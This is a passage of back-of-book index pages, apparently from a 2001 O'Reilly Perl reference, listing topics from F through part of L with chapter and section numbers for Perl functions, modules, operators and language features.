function templates, closures as: 8.3.7.1. Closures as function templates
functions: 1.2.2. Verbs
6. Subroutines
29. Functions
29. Functions
autoloading: 10.2. Autoloading
12.5.4. Method Autoloading
built-in, listing by type: 32.1.16. Documentation Support
by category: 29.1. Perl Functions by Category
byte-oriented wrappers for: 15.2. Effects of Character Semantics
C library: 29. Functions
debugger, calling internal: 20.3.2. Customizing with Init Files
debugger customization: 20.5.1. Writing Your Own Debugger
default arguments, avoiding errors with: 24.1.2. Frequently Ignored Advice
generation of: 8.3.7. Closures
hashes of: 9.5. Hashes of Functions
interpolating: 14.2.2. Notational Convenience
in list or scalar context: 29. Functions
modules, exporting to programs: 11.2.1. Module Privacy and the Exporter
named unary operators: 3.10. Named Unary and File Test Operators
names for: 24.3. Programming with Style
operators and: 3. Unary and Binary Operators
for overloading: 13.7. Public Overload Functions
overriding: 11.3. Overriding Built-in Functions
Perl, varying across platforms: 25. Portable Perl
Perl, wrapping around C: 21.3.1. XS and XSUBs
references, using for both input and output: 6.3. Passing References
return operators in: 4.4.4. Loop Control
returning tainted data: 29.2. Perl Functions in Alphabetical Order
signal-handling: 16.1. Signals
socket-related in Perl: 16.5. Sockets
temporary filenames, generating: 23.2.3. Temporary Files
Thread module: 17.2.1. The Thread Module
funny characters: 14. Tied Variables

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: G

-g (setgid) file test: 3.10. Named Unary and File Test Operators
/g (global) pattern modifier: 5.2.2. The m// Operator (Matching)
5.2.3. The s/// Operator (Substitution)
/g pattern modifier: 5.2.2. The m// Operator (Matching)
5.2.3. The s/// Operator (Substitution)
\G positional assertion: 5.2.2. The m// Operator (Matching)
5.6.5. Where You Left Off: The \G Assertion
games, Perl modules for: 22.1. The CPAN modules Directory
garbage collection: 8.5.2. Garbage Collection, Circular References, and Weak References
with DESTROY methods: 12.6.1. Garbage Collection with DESTROY Methods
objects associated with tied variables: 14.1.1. Scalar-Tying Methods
GDBM_File module: 32.1.10. DBM Interfaces
GDBM files (GNU DBM), locking: 16.2.1. File Locking
generated patterns: 5.10.3.1. Generated patterns
generators, Perl programs: 24.5. Program Generation
in other languages: 24.5.2. Generating Perl in Other Languages
other languages in Perl: 24.5.1. Generating Other Languages in Perl
source filters: 24.5.3. Source Filters
getc function: 24.2.1. Time Efficiency
29.2.43. getc
GETC method: 14.4.1. Filehandle-Tying Methods
getgrent function: 29.2.44. getgrent
getgrgid function: 29.2.45. getgrgid
getgrnam function: 29.2.46. getgrnam
gethost* functions, overriding built-in: 32.1.8. Networking and Interprocess Communication
gethostbyaddr function: 29.2.47. gethostbyaddr
converting characters back into bytes: 15.1. Building Character
gethostbyname function: 29.2.48. gethostbyname
gethostent function: 29.2.49. gethostent
getlogin function: 29.2.50. getlogin
getnet* functions, overriding built-in: 32.1.8. Networking and Interprocess Communication
getnetbyaddr function: 29.2.51. getnetbyaddr
getnetbyname function: 29.2.52. getnetbyname
getnetent function: 29.2.53. getnetent
Getopt::Long module: 32.1.3. Option, Argument, Parameter, and Configuration File Processing
Getopts::* modules: 4.4.4. Loop Control
Getopt::Std module: 32.1.3. Option, Argument, Parameter, and Configuration File Processing
getpeername function: 16.5.2. Networking Servers
29.2.54. getpeername
getpgrp function: 29.2.55. getpgrp
getppid function: 29.2.56. getppid
getpriority function: 29.2.57. getpriority
getproto* functions, overriding built-in: 32.1.8. Networking and Interprocess Communication
getprotobyname function: 29.2.58. getprotobyname
getprotobynumber function: 29.2.59. getprotobynumber
getprotoent function: 29.2.60. getprotoent
getpwent function: 29.2.61. getpwent
getpwnam function: 29.2.62. getpwnam
getpwuid function: 29.2.50. getlogin
29.2.63. getpwuid
getserv* functions, overriding built-in: 32.1.8. Networking and Interprocess Communication
getservbyname function: 29.2.64. getservbyname
getservbyport function: 29.2.65. getservbyport
getservent function: 29.2.66. getservent
getsockname function: 29.2.67. getsockname
getsockopt function: 29.2.68. getsockopt
$gid file statistic: 29.2.165. stat
gid (group ID)
assumed: 16.3.2. Talking to Yourself
GID (group ID), effective: 28.2. Special Variables in Alphabetical Order
GIFs, Perl modules for: 22.1. The CPAN modules Directory
Gimp, Perl modules for: 22.1. The CPAN modules Directory
glob function: 2.11.3. Filename Globbing Operator
2.11.3. Filename Globbing Operator
29.2.69. glob
global declarations: 29.2.107. our
4.7. Global Declarations
(see also our declarations)
global matching (see /g modifier)
global names, prefixing with module name: 1.2.1.4. Simplicities
global search and replace: 5.2.3. The s/// Operator (Substitution)
global variables
4.8.1. Scoped Variable Declarations
controlling use with strict pragma: 4.9.2. Controlling the Use of Globals
declaring: 4.8.3. Lexically Scoped Global Declarations: our
29.2.107. our
local operator, using on: 4.8.4. Dynamically Scoped Variables: local
localizing: 29.2.87. local
package variables as: 10. Packages
predeclaring, vars module: 32.1.13. Perl Language Extensions and Internals
threads, accessing in: 17.2.2. Data Access
globbing filenames: 2.11.3. Filename Globbing Operator
32.1.4. Filenames, Filesystems, and File Locking
portability of: 25.4. System Interaction
glue language, Perl as: 1.4. Filehandles
gmtime function: 29.2.70. gmtime
32.1.1. Data Types
Gnome, Perl modules for: 22.1. The CPAN modules Directory
goto function: 4.6. goto
10.2. Autoloading
24.2.1. Time Efficiency
29.2.71. goto
Perl versions, changes in: 24.1.5. Previous Perl Traps
graphs, Perl modules for: 22.1. The CPAN modules Directory
grave accents (see backticks)
greater than (>) operator: 3.11. Relational Operators
greater than or equal (>=) operator: 3.11. Relational Operators
greedy matching: 1.7.1. Quantifiers
5.5. Quantifiers
5.5. Quantifiers
5.9.4. The Little Engine That /Could(n't)?/
tokens: 2.2. Molecules
Greenwich Mean Time (GMT): 29.2.70. gmtime
grep command: 1.7. Regular Expressions
grep function: 1.7. Regular Expressions
24.3. Programming with Style
29.2.72. grep
grep program: 5.9.2.1. When backslashes happen
group ID (see GID)
group name: 29.2.46. getgrnam
grouping operator: 5.1. The Regular Expression Bestiary
5.3.1. Metasymbol Tables
5.9.4. The Little Engine That /Could(n't)?/
for expressions: 3. Unary and Binary Operators
groupings, nesting of: 5.7.1. Capturing
groups
process
killing: 29.2.80. kill
returning priority of: 29.2.57. getpriority
processes: 16.1.1. Signaling Process Groups
functions dealing with: 29.1. Perl Functions by Category
functions dealing with: 29.1. Perl Functions by Category
group name: 29.2.46. getgrnam
members, login names: 29.2.44. getgrent
Gtk, Perl modules for: 22.1. The CPAN modules Directory
GUIs
Perl modules for: 22.1. The CPAN modules Directory
using PerlTk: 24.2.6. User Efficiency
guts: 21. Internals and Externals
GV (internal glob value): 21.2. Internal Data Types

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: H

-h (help) command-line switch: 19.1.3. Switches
h2xs utility: 21.3.1. XS and XSUBs
21.3.2. Creating Extensions
h2xs: 22.3. Creating CPAN Modules
overload: 13.1. The overload Pragma
13.2. Overload Handlers
missing: 13.5. When an Overload Handler Is Missing (nomethod and fallback)
overloading, as_string handler: 13.3. Overloadable Operators
for signals: 16.1. Signals
handles: 1.2.1. Variable Syntax
directories: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
references to: 8.2.4. Handle References
tied, base class definitons for: 32.1.14. Convenient Classes
hard links, filenames: 29.2.85. link
hard references: 3.2. The Arrow Operator
8.1. What Is a Reference?
8.2. Creating References
%SIG array: 16.1. Signals
using: 8.3. Using Hard References
closures: 8.3.7. Closures
hardware drivers, Perl modules for interacting with: 22.1. The CPAN modules Directory
hashDepth option (debugger): 20.3.3. Debugger Options
hashes: 1.2.1. Variable Syntax
1.2.1.2. Pluralities
1.2.1.2.2. Hashes.
2.3. Built-in Data Types
2.9. Hashes
printing out in sorted order: 4.4.3. foreach Loops
anonymous
data structure for objects: 12.7. Managing Instance Data
references to: 12.4. Object Construction
anonymous, references to: 8.2.2.2. The anonymous hash composer
binding DBM files to: 29.2.22. dbmopen
cascading conditionals, using instead of: 4.5.1. Case Structures
of complex records: 9.6.3. Generation of a Hash of Complex Records
deleting values from: 29.2.24. delete
elements, giving temporary values to: 29.2.87. local
exists function and: 29.2.34. exists
flat lookup tables, providing access to: 9. Data Structures
HV (hash value) typedef in C: 21.2. Internal Data Types
%INC for modules: 11.1. Using Modules
initializing with x operator: 3.7. Multiplicative Operators
instead of linear searches: 24.2.1. Time Efficiency
inverting: 29.2.132. reverse
keys, finding number in: 2.9. Hashes
keys, returning list of: 29.2.79. keys
key/value pair precedence: 2.9. Hashes
key/value pairs: 2.3. Built-in Data Types
2.9. Hashes
capturing from string with m//g operator: 5.2.2. The m// Operator (Matching)
key/value pairs in: 1.2.1.2.2. Hashes.
multidimensional: 9.4. Hashes of Hashes
accessing and printing: 9.4.3. Access and Printing of a Hash of Hashes
generation of: 9.4.2. Generation of a Hash of Hashes
names for: 2.4. Variables
of arrays: 9.2. Hashes of Arrays
9.3. Arrays of Hashes
access and printing of: 9.2.3. Access and Printing of a Hash of Arrays
generating: 9.2.2. Generation of a Hash of Arrays
9.3.2. Generation of an Array of Hashes
output style, changing in debugger: 20.3.3. Debugger Options
passing by reference into or out of functions: 6.3. Passing References
Perl data organization in: 9.1.5. Common Mistakes
processing, functions for: 29.1. Perl Functions by Category
references as keys: 8.5.1. References Don't Work as Hash Keys
references to: 8.1. What Is a Reference?
restricted, implementing: 12.7.5. Using Closures for Private Objects
returning key/value pairs: 29.2.30. each
returning values of: 29.2.194. values
%SIG, references to signal handlers: 16.1. Signals
symbol tables: 10.1. Symbol Tables
key/value pairs in: 10.1. Symbol Tables
typeglobs in: 10.1. Symbol Tables
taint in: 23.1. Handling Insecure Data
tying: 14. Tied Variables
14.3. Tying Hashes
methods for: 14.3.1. Hash-Tying Methods
Tie::Hash module, providing base class definitions: 32.1.14. Convenient Classes
(see also modules)
headers, format names: 7.2. Footers
here documents: 2.6.6. "Here" Documents
indentation of: 2.6.6. "Here" Documents
semicolon (;), omitting trailing: 24.1.1. Universal Blunders
hex function: 29.2.73. hex
converting numbers to: 5.2.3. The s/// Operator (Substitution)
hexadecimal characters: 2.6.1. Numeric Literals
hexadecimal numbers: 29.2.73. hex
character numbers, specifying as: 5.3.2. Specific Characters
hints, compiler: 28.2. Special Variables in Alphabetical Order
history, command: 20.1. Using the Debugger
history of Perl: 27.1. History Made Practical
home directory: 29.2.9. chdir
home page, Perl: 0.6.1. Perl on the Web
HOME variable: 19.2. Environment Variables
hostnames
getting from network addresses: 29.2.47. gethostbyaddr
Sys::Hostname module: 32.1.7. Operating System Interfaces
translating to addresses: 29.2.48. gethostbyname
29.2.52. getnetbyname
hosts file (see /etc/hosts file)
hosts (remote), checking for reachability: 32.1.8. Networking and Interprocess Communication
household appliances, Perl modules for: 22.1. The CPAN modules Directory
HTML
CGI module, generation of: 32.1.9. World Wide Web
code, producing nicely formatted: 32.1.9. World Wide Web
Perl modules for: 22.1. The CPAN modules Directory
pod files, converting to: 32.1.16. Documentation Support
HTTP
cookies, setting and getting: 32.1.9. World Wide Web
links, searching for: 1.7. Regular Expressions
Perl modules for: 22.1. The CPAN modules Directory
HV (internal hash value): 21.2. Internal Data Types
- (hyphen): 3.10. Named Unary and File Test Operators
5.9.4. The Little Engine That /Could(n't)?/
arithmetic negation operator: 3.5. Ideographic Unary Operators
in character ranges: 5.4.1. Custom Character Classes
character set subtraction: 5.4.3.4. Defining your own character properties
in debugger commands: 20.2.5. Locating Code
-*- for emacs: 19.1. Command Processing
-= (assignment) operator: 3.17. Assignment Operators
-- (autodecrement) operator: 1.5.4. Unary Arithmetic Operators
3.3. Autoincrement and Autodecrement
-> (arrow) operator: 3.2. The Arrow Operator
8.3.3. Using the Arrow Operator
method invocation with: 12.3.1. Method Invocation Using the Arrow Operator
subtractive operator: 3.8. Additive Operators
hyphenating text, Perl module for: 22.1. The CPAN modules Directory

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: I

-i (in-place editing) command-line switch: 19.1.3. Switches
-I (include path) command-line switch: 19.1.3. Switches
/i pattern modifier: 5.2.1. Pattern Modifiers
5.2.2. The m// Operator (Matching)
5.2.3. The s/// Operator (Substitution)
identifiers: 2.2. Molecules
2.5. Names
29.2.63. getpwuid
bare, barewords vs.: 2.6.4. Or Leave the Quotes Out Entirely
effective UID or GID, setting back to real: 23.1.3. Accessing Commands and Files Under Reduced Privileges
effective user or group IDs, differing from real: 23.1. Handling Insecure Data
enclosing in braces: 2.6.2. String Literals
line-oriented quoting: 2.6.6. "Here" Documents
names vs.: 2.5. Names
Perl modules: 11.1. Using Modules
PIDs, guessing: 23.2.3. Temporary Files
process group ID: 16.1.1. Signaling Process Groups
processes (pid): 29.2.104. open
semaphores: 29.2.143. semget
shared memory segments: 29.2.151. shmget
single quotes (') in: 2.6.2. String Literals
starting with underscore (_), changes in Perl versions: 24.1.5. Previous Perl Traps
thread IDs: 17.2.1.5. Identifying threads
Unicode alphanumeric characters, containing: 15.2. Effects of Character Semantics
identifiers, package: 10. Packages
in package symbol table: 10. Packages
ideographic unary operators: 3.5. Ideographic Unary Operators
ideographs: 1.7. Regular Expressions
matching with \w: 15.2. Effects of Character Semantics
idioms, Perl: 24.4. Fluent Perl
if modifier: 4.1. Simple Statements
if statements: 1.5.5. Logical Operators
1.6.1.1. The if and unless statements
4.3. if and unless Statements
C language, differences from Perl: 24.1.3. C Traps
in case structure: 4.5.1. Case Structures
logical operators and: 1.5.5. Logical Operators
IGNORE pseudosignal: 16.1. Signals
imperative programming style: 5.10.3. Programmatic Patterns
implicit method invocation: 12.3. Method Invocation
implicit referencing or dereferencing: 8.1. What Is a Reference?
import function: 11.1. Using Modules
11.2.1.1. Exporting without using Exporter's import method
29.2.74. import
overloading constants: 13.6. Overloading Constants
importing: 4.7. Global Declarations
semantics into package: 29.2.192. use
subroutines from another module: 6.1. Syntax
symbols from one package to another: 10.1. Symbol Tables
importing symbols: 11.2.1. Module Privacy and the Exporter
(see also Exporter module; exporting symbols)
in interprocess communication
bidirectional communication: 16.3.3. Bidirectional Communication
@INC array;prepending directories to: 19.1.3. Switches
%INC hash: 11.1. Using Modules
28.2. Special Variables in Alphabetical Order
I18N::Collate module: 32.1.6. Internationalization and Locale
incrementing variables: 1.5.4. Unary Arithmetic Operators
index function: 29.2.75. index
indexing arrays: 9.2.3. Access and Printing of a Hash of Arrays
indirect filehandles: 29.2.104. open
indirect object slot: 12.3.2. Method Invocation Using Indirect Objects
indirect object syntax: 12.3.2. Method Invocation Using Indirect Objects
ambiguities in: 12.3.3. Syntactic Snafus with Indirect Objects
explicit path, passing in slot: 23.1. Handling Insecure Data
indirection: 2.5.1. Name Lookups
8. References
(see also hard references; symbolic references)
between class use and implementation: 12.3. Method Invocation
inequality (see equality operators[semi] relational operators)
inet_ntoa function: 29.2.47. gethostbyaddr
infinite loops: 4.4.2. for Loops
infix dereference operator (see arrow operator)
infix operators: 1.5. Operators
inheritance: 12.1. Brief Refresher on Object-Oriented Lingo
base class, establishing at compile time: 32.1.13. Perl Language Extensions and Internals
class: 10. Packages
12.5. Class Inheritance
single or multiple: 12.5. Class Inheritance
class accessors: 12.8. Managing Class Data
classes and objects
pseudohash implementation and: 12.7.1. Field Declarations with use fields
constructors: 12.4.1. Inheritable Constructors
through @ISA array: 12.5.1. Inheritance Through @ISA
modules, from Exporter class: 11.2.1. Module Privacy and the Exporter
overloading and: 13.8. Inheritance and Overloading
restricted access and: 12.7.5. Using Closures for Private Objects
inhibit_exit option (debugger): 20.3.3. Debugger Options
INIT blocks: 18.1. The Life Cycle of a Perl Program
initializing variables before calling subroutine: 6.2.3. Scoping Issues
order of running: 18.7. Avant-Garde Compiler, Retro Interpreter
18.7. Avant-Garde Compiler, Retro Interpreter
init program: 29.2.56. getppid
initial caps (see capitalization)
initialization debugger, customizing with init files: 20.3.2. Customizing with Init Files
initialization expressions: 4.4.2. for Loops
initializing
arrays and hash slices: 3.7. Multiplicative Operators
hash variables: 2.9. Hashes
objects: 12.4.2. Initializers
variables before calling subroutines: 6.2.3. Scoping Issues
inlining constant functions: 6.4.1. Inlining Constant Functions
preventing inlining: 6.4.1. Inlining Constant Functions
$ino file statistic: 29.2.165. stat
inplace editing ($^I, $INPLACE_EDIT): 19.1.3. Switches
inplace edits with $^I: 28.2. Special Variables in Alphabetical Order
$INPLACE_EDIT: 28.2. Special Variables in Alphabetical Order
input: 29.2.38. fileno
(see also STDIN filehandle)
checking file descriptors for: 29.2.141. select (ready file descriptors)
debugger, setting: 20.4. Unattended Execution
files, locating end with eof: 19.1.3. Switches
files, open mode for: 29.2.104. open
functions dealing with: 29.1. Perl Functions by Category
ioctl function: 29.2.77. ioctl
operators: 2.11. Input Operators
pipes: 16.3. Pipes
16.3. Pipes
bidirectional: 16.3.3. Bidirectional Communication
multistage pipelines: 16.3.1. Anonymous Pipes
tridirectional: 16.3.3. Bidirectional Communication
record separator (see $/ variable)
single-character, buffered and unbuffered: 29.2.43. getc
XSUBs: 21.3.3. XSUB Input and Output
input filehandles: 1.4. Filehandles
$INPUT_LINE_NUMBER: 28.2. Special Variables in Alphabetical Order
$INPUT_RECORD_SEPARATOR: 28.2. Special Variables in Alphabetical Order
insecure dependency errors: 23.1. Handling Insecure Data
installation
modules, CPAN: 22.2. Using CPAN Modules
into Perl library: 22.2.3. Installing CPAN Modules into the Perl Library
modules supporting: 32.1.17. Module Installation Support
installed modules, inventory of: 32.1.17. Module Installation Support
managing: 12.7. Managing Instance Data
generating accesors with autoloading: 12.7.3. Generating Accessors with Autoloading
generating accessors with closures: 12.7.4. Generating Accessors with Closures
generating classes with Class::Struct: 12.7.2. Generating Classes with Class::Struct
new features, Perl 5.6: 12.7.6. New Tricks
using closures for private objects: 12.7.5. Using Closures for Private Objects
instance methods: 12.1. Brief Refresher on Object-Oriented Lingo
object references as invocants for: 12.3. Method Invocation
instance variables: 12.4.2. Initializers
separate functions, writing for each: 12.7. Managing Instance Data
instances: 12.1. Brief Refresher on Object-Oriented Lingo
int function: 29.2.76. int
integers: 29.2.76. int
computer storage, order of: 25.2. Endianness and Number Width
converting to UTF-8 characters: 15.2. Effects of Character Semantics
exponentiation: 21.4.5. Fiddling with the Perl Stack from C
formats: 29.2.108. pack
formats for: 29.2.162. sprintf
IV (internal integer values): 21.2. Internal Data Types
IV typedef in C: 21.2. Internal Data Types
Math::BigInt module: 13. Overloading
standard modules for arithmetic with: 32.1.1. Data Types
strings as vectors of: 29.2.195. vec
intercept signals, handler for: 16.1. Signals
interfaces: 12.1. Brief Refresher on Object-Oriented Lingo
byte vs. character semantics in: 15.1. Building Character
internal variable names, Perl: 2.5. Names
internationalization: 2.1. Atoms
25.9. Internationalization
modules for: 32.1.6. Internationalization and Locale
Perl modules for: 22.1. The CPAN modules Directory
textual data, with Unicode: 15. Unicode
Internet protocols, Perl modules for: 22.1. The CPAN modules Directory
Internet services, CPAN modules for: 16.5. Sockets
Internet TCP clients/servers: 16.5.1. Networking Clients
interpolation
array variables: 2.6.5. Interpolating Array Values
backreference variables: 1.7.4. Backreferences
conditionals into patterns: 5.10.3.5. Conditional interpolation
double-quoted strings: 1.5.2. String Operators
double quotes ("), using: 5.2. Pattern-Matching Operators
functions: 14.2.2. Notational Convenience
glob operator, using for: 2.11.3. Filename Globbing Operator
list: 2.8. List Values and Arrays
match-time pattern interpolation: 5.10.3.4. Match-time pattern interpolation
scalar values: 2.6.2. String Literals
characters into double-quoted strings: 2.6.2. String Literals
variables: 1.2.1.1. Singularities
controlling with pattern matching: 5.9.2. Variable Interpolation
in double-quoted strings: 2.6.2. String Literals
into patterns: 5.2. Pattern-Matching Operators
interpolative context: 2.7.4. Interpolative Context
interpreter, Perl: 18.3. Executing Your Code
18.3. Executing Your Code
accessing from C: 21.4. Embedding Perl (Using Perl from C)
adding to C program: 21.4.2. Adding a Perl Interpreter to Your C Program
compiler, interaction with: 18.7. Avant-Garde Compiler, Retro Interpreter
embedding in applications: 18.3. Executing Your Code
invoking with #! (shebang) line: 19.1. Command Processing
multiple, running: 18.3. Executing Your Code
persistent: 21.4. Embedding Perl (Using Perl from C)
interpreters: 1.2. Natural and Artificial Languages
for commands: 19.1. Command Processing
Perl: 1.3.1. How to Do It
quoting on Unix systems: 19.1.1. #! and Quoting on Non-Unix Systems
object destruction at shutdown: 12.6.1. Garbage Collection with DESTROY Methods
threads: 17.1. The Process Model
interprocess communication
pipes: 16.3. Pipes
interrupt signals, handler for: 16.1. Signals
intersection of sets: 6.3. Passing References
ints: 29.2.108. pack
inverting arrays and hashes: 29.2.132. reverse
invocant: 12.3. Method Invocation
invoking (see executing)
(see also indirect objects)
IO module: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
ioctl function: 29.2.77. ioctl
IO::Dir module: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
IO::File module: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
IO::Handle module: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
IO::modules: 22.1. The CPAN modules Directory
IO::Pipe module: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
IO::Poll module: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
IO::Pty module: 16.3.3. Bidirectional Communication
IO::Seekable module: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
IO::Select module: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
IO::Socket module: 16.5. Sockets
32.1.8. Networking and Interprocess Communication
IO::Socket::INET module: 16.5.1. Networking Clients
32.1.8. Networking and Interprocess Communication
IO::Socket::UNIX module: 32.1.8. Networking and Interprocess Communication
IP addresses
network names and: 29.2.53. getnetent
using v-string notation for: 29.2.47. gethostbyaddr
UTF-8 representation of: 15.1. Building Character
IP (Internet Protocol): 16.5. Sockets
IPC (interprocess communication): 16. Interprocess Communication
between processes on same machine: 16. Interprocess Communication
modules for: 32.1.5. Filehandle, Directory Handle, and Stream I/O Utilities
32.1.8. Networking and Interprocess Communication
portability and: 25.5. Interprocess Communication (IPC)
signals: 16.1. Signals
IPC::Msg module: 32.1.8. Networking and Interprocess Communication
IPC::Open3: 21.4. Embedding Perl (Using Perl from C)
IPC::Open3 module: 32.1.8. Networking and Interprocess Communication
IPC::Semaphore module: 32.1.8. Networking and Interprocess Communication
IPC::Shareable module: 16.4. System V IPC
IPC::SysV module: 32.1.8. Networking and Interprocess Communication
irregular files: 1.5.7. Some File Test Operators
@ISA array: 12.5. Class Inheritance
28.2. Special Variables in Alphabetical Order
inheritance through: 12.5.1. Inheritance Through @ISA
use base pragma and: 31.3. use base
isa method: 12.5.3. UNIVERSAL: The Ultimate Ancestor Class
iteration: 4.4.4. Loop Control
(see also loops)
iterative operator, overloading: 13.3. Overloadable Operators
iterative statements: 1.6.2. Iterative (Looping) Constructs
for loops: 1.6.2.2. The for statement
foreach statement: 1.6.2.3. The foreach statement
until statements: 1.6.2.1. The while and until statements
while loops: 1.6.2.1. The while and until statements
ithreads: 17.1. The Process Model
Perl API to: 18.3. Executing Your Code
itimer routines: 29.2.3. alarm
IV (internal integer value): 21.2. Internal Data Types

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: J

Java, Perl modules for: 22.1. The CPAN modules Directory
17.2.1.2. Thread destruction
join function: 29.2.78. join
catching exceptions from: 17.2.1.3. Catching exceptions from join
jumpenv stack: 18.3. Executing Your Code
justification: 7. Formats

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: K

-k (sticky) file test: 3.10. Named Unary and File Test Operators
kernels
autoreaping zombies on: 16.1.2. Reaping Zombies
generating signals: 16.1. Signals
signal reliability on: 16.1.2. Reaping Zombies
threads and: 17.2. The Thread Model
Unix, set-id script bug in: 23.2.1. Unix Kernel Security Bugs
key mapping, pseudohashes: 12.7.1. Field Declarations with use fields
keyboard sequences, generating signals with: 16.1. Signals
keys function: 1.8. List Processing
2.9. Hashes
14.3.1. Hash-Tying Methods
29.2.79. keys
keys, hash
braces { }, enclosing in: 1.2.1.2.2. Hashes.
providing references as: 32.1.14. Convenient Classes
keys( ): 1.2.1.2.2. Hashes.
key/value pairs, hashes: 2.3. Built-in Data Types
deleting: 14.3. Tying Hashes
modules, %INC hash: 11.1. Using Modules
organizing and accessing data in: 9.1.5. Common Mistakes
returning with each function: 29.2.30. each
symbol tables: 10.1. Symbol Tables
keywords (see reserved words)
kill function: 16.1. Signals
16.1. Signals
29.2.80. kill
Microsoft systems and: 16.1.1. Signaling Process Groups

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: L

-l (automatic line ending) command-line switch: 19.1.3. Switches
-l (symbolic link) file test: 3.10. Named Unary and File Test Operators
labels: 4.2. Compound Statements
4.4.4. Loop Control
with goto statement: 4.6. goto
29.2.71. goto
with loops: 4.4. Loop Statements
4.4.4. Loop Control
24.3. Programming with Style
names for: 2.5. Names
packages and: 10. Packages
language extensions, Perl modules for: 22.1. The CPAN modules Directory
languages
checking characters for: 5.4.3.3. Unicode block properties
natural vs. artificial: 1.2. Natural and Artificial Languages
translating: 24.5.2. Generating Perl in Other Languages
last operator: 1.6.2.4. Breaking out: next and last
24.3. Programming with Style
4.4.2. for Loops
4.4.4. Loop Control
4.4.4. Loop Control
4.5.1. Case Structures
24.2.1. Time Efficiency
29.2.81. last
do {} while construct, not taking: 24.1.3. C Traps
used in a do while: 4.5. Bare Blocks
$LAST_PAREN_MATCH: 28.2. Special Variables in Alphabetical Order
lc function: 29.2.82. lc
lcfirst function: 29.2.83. lcfirst
left justification: 7.1. Format Variables
left-shift (<<) operator: 3.9. Shift Operators
leftmost longest matching: 5.5. Quantifiers
length
of matched string: 28.2. Special Variables in Alphabetical Order
of arrays: 2.8.2. Array Length
of strings: 24.2.1. Time Efficiency
LENGTH (awk variable): 28.2. Special Variables in Alphabetical Order
length function: 29.2.84. length
byte-oriented wrapper for: 15.2. Effects of Character Semantics
length, matching: 5.5. Quantifiers
less module: 32.1.13. Perl Language Extensions and Internals
less than (<) operator: 3.11. Relational Operators
less than or equal (<=) operator: 3.11. Relational Operators
lexer: 18.2. Compiling Your Code
lexical analysis: 21.1. How Perl Works
in the Perl compiler: 18.2. Compiling Your Code
lexical scopes: 2.5. Names
4.8.2. Lexically Scoped Variables: my
pragmas and: 4.9. Pragmas
package variables, searching for: 2.5.1. Name Lookups
variables attached to: 2.5. Names
lexical variables: 7. Formats
29.2.99. my
accessing from functions: 6.2.3. Scoping Issues
file-scoped, storing anonymous subroutine in: 12.5.5. Private Methods
in functions or files, showing: 32.1.19. Perl Compiler and Code Generator
persistence across function calls: 6.2.3. Scoping Issues
recursive lexical pad stack: 18.3. Executing Your Code
symbolic references and: 8.4. Symbolic References
threads, accessing in: 17.2.2. Data Access
lexical warnings: 32.1.15. Warnings and Exceptions
${^WARNING_BITS}: 28.2. Special Variables in Alphabetical Order
lexically scoped declarations: 4.8. Scoped Declarations
lexicals: 4.8.1. Scoped Variable Declarations
(see also lexical scope)
lib module: 32.1.17. Module Installation Support
lib pragma: 11.1. Using Modules
C/C++, loading as Perl extensions: 32.1.17. Module Installation Support
32.1.17. Module Installation Support
ExtUtils::Liblist module: 32.1.17. Module Installation Support
math library, C: 21.3.4. Using Functions from an External C Library
Perl, installing modules into: 22.2.3. Installing CPAN Modules into the Perl Library
Perl library files, searching for: 19.2. Environment Variables
uninstalled extensions from MakeMaker: 32.1.17. Module Installation Support
life cycle, Perl programs: 18.1. The Life Cycle of a Perl Program
code generation phase: 18.1. The Life Cycle of a Perl Program
compilation phase: 18.1. The Life Cycle of a Perl Program
execution phase: 18.1. The Life Cycle of a Perl Program
parse tree reconstruction: 18.1. The Life Cycle of a Perl Program
__LINE__; setting: 24.5.2. Generating Perl in Other Languages
line counter (see $. variable)
line-end processing, automatic: 19.1.3. Switches
line input operators (see angle operator)
2.6.8. Other Literal Tokens
of input file: 28.2. Special Variables in Alphabetical Order
line-oriented quoting: 2.6.6. "Here" Documents
line reading operator: 1.4. Filehandles
line separator character: 2.2. Molecules
line terminators, Internet programs: 16.5.2. Networking Servers
__LINE__ token: 2.6.8. Other Literal Tokens
LineInfo option (debugger): 20.3.3. Debugger Options
boundary assertions: 5.6.1. Beginnings: The \A and ^ Assertions
link function: 29.2.85. link
links: 29.2.123. readlink
HTTP, searching for: 1.7. Regular Expressions
lint (C program verifier): 18.6. Code Development Tools
list interpolation: 2.8. List Values and Arrays
list context: 1.8. List Processing
2.7.1. Scalar and List Context
angle operator in: 2.11.2. Line Input (Angle) Operator
backslash operator, supplying: 8.3.6. Other Tricks You Can Do with Hard References
comma operator in: 3.18. Comma Operators
conditional operator in: 3.16. Conditional Operator
evaluating expressions in (debugger): 20.2.4. Display
expressions in (see LISTs)
forcing scalar context instead: 29.2.137. scalar
foreach statements, providing: 1.6.2.3. The foreach statement
functions in: 29. Functions
hash variables, using in: 2.9. Hashes
hashes in: 1.2.1.2.2. Hashes.
list assignment in: 3.17. Assignment Operators
lvalues in: 4.8.1. Scoped Variable Declarations
